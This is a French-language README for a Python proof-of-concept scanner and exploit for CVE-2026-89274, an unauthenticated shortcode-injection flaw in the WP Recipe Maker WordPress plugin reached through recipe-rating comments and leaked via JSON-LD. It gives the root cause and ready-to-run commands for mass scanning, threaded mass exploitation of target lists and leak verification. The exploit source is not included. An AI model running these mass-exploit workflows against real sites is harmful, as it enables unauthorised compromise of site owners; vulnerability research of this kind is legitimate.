
Scanner PoC Python et exploit pour CVE-2026-89274, une faille d'exécution de shortcode arbitraire non authentifiée dans WP Recipe Maker <=10.8.1 via les commentaires de notation de recettes et JSON-LD.
Scanner/exploit PoC en Python 3 pour CVE-2026-89274 dans WP Recipe Maker.
| Plugin | wp-recipe-maker |
| Affecté | ≤ 10.8.1 |
| Corrigé dans | 10.8.2+ |
| CVSS | 9.1 (Critique) |
| Auth | Non authentifié (soumission de commentaire) |
| CWE | CWE-94 |
WPRM_Metadata::sanitize_metadata() exécute do_shortcode() sur les champs de métadonnées avant strip_shortcodes(). Les commentaires de notation de recette approuvés (wprm-comment-rating) alimentent le reviewBody du JSON-LD ; les shortcodes injectés s'exécutent lors du chargement des pages de recette et peuvent divulguer leur sortie dans les données structurées.
Prérequis : Le commentaire malveillant doit être approuvé (auto-approbation ou modérateur). Le mode exploit peut utiliser --verify pour confirmer que le marqueur apparaît dans le reviewBody du JSON-LD.
pip install -r requirements.txtpip install -r requirements.txt
# Check plugin version + recipe page with comment rating form
python poc.py -u https://target.example --mode check
# Mass check
python poc.py --list targets.example.txt --mode check --threads 30 --quiet
# Mass exploit from check output (candidates.jsonl)
python poc.py --list candidates.jsonl --mode exploit --threads 20 \
--shortcode "[caption]PROBE[/caption]" --verify --quiet
# Single-target exploit + JSON-LD verification
python poc.py -u https://target.example --mode exploit \
--recipe-url /some-post-with-recipe/ \
--shortcode "[caption]PROBE[/caption]" --verify
# Verify after comment approval (marker from exploit JSON)
python poc.py -u https://target.example --mode verify \
--recipe-url /some-post-with-recipe/ --marker wprm89274_abc12345
# Batch verify prior submissions (submitted_mass.txt format)
python poc.py --list submitted_mass.txt --mode verify --threads 30 --quiet \
--output verify_submitted.jsonl --vuln-list verified_leaks.txt
submitted_mass.txt (mode verify)https://target.example|https://target.example/recipe-post/|post=123|marker=wprm89274_abc12345
| Option | Description |
|---|---|
-u, --url | URL de base d'une cible unique |
--list | Liste d'URL, candidates.jsonl, ou submitted_mass.txt (verify) |
--mode | check, exploit, ou verify |
--recipe-url | URL de l'article contenant la recette WPRM et les commentaires |
--post-id | comment_post_ID WordPress |
--recipe-id | ID de recette WPRM (optionnel --use-api) |
--shortcode | Charge utile dans le texte du commentaire (shortcode sonde par défaut) |
--marker | Verify : rechercher la sous-chaîne marqueur dans le JSON-LD |
--verify | Exploit : confirmer la fuite dans le JSON-LD après soumission |
--use-api | Essayer aussi le chemin REST de notation utilisateur Premium |
--threads, -j | Concurrence en masse (défaut 20) |
--output | Résultats JSONL (défaut cve_2026_89274_results.jsonl) |
--vuln-list | Sortie texte pour les hits/fuites (défaut hits.txt) |
--candidates-list | Métadonnées des hits de check (défaut candidates.jsonl) |
--quiet | Moins de sortie de progression lors des exécutions massives |
| Fichier | Contenu |
|---|---|
cve_2026_89274_results.jsonl | JSON par cible |
hits.txt | URL de base candidates |
candidates.jsonl | page_url, post_id, recipe_id, version |
status courantes (check)| Statut | Signification |
|---|---|
candidate | Version vulnérable + page de recette avec wprm-comment-rating |
plugin_no_recipe_comments | Plugin présent, aucune page de recette/commentaire appropriée trouvée |
recipe_no_comment_rating | Page de recette sans formulaire de commentaire de notation |
patched | Version ≥ 10.8.2 |
no_plugin | WP Recipe Maker non détecté |
[caption])./blog/, /recipes/) peuvent ne pas montrer les fuites JSON-LD ; l'exploit privilégie les permaliens de recette unique lors de la découverte des pages.--verify ne confirme que la réflexion dans le JSON-LD, pas une RCE complète..
├── poc.py
├── requirements.txt
├── targets.example.txt
├── README.md
├── LICENSE
└── .gitignore
Les listes de scan locales et les artefacts d'exécution (list.txt, *.jsonl, submitted_mass.txt, …) sont dans .gitignore et ne doivent pas être commités.
Pour des tests de sécurité autorisés uniquement. Vous êtes responsable du respect des lois applicables et des règles du programme.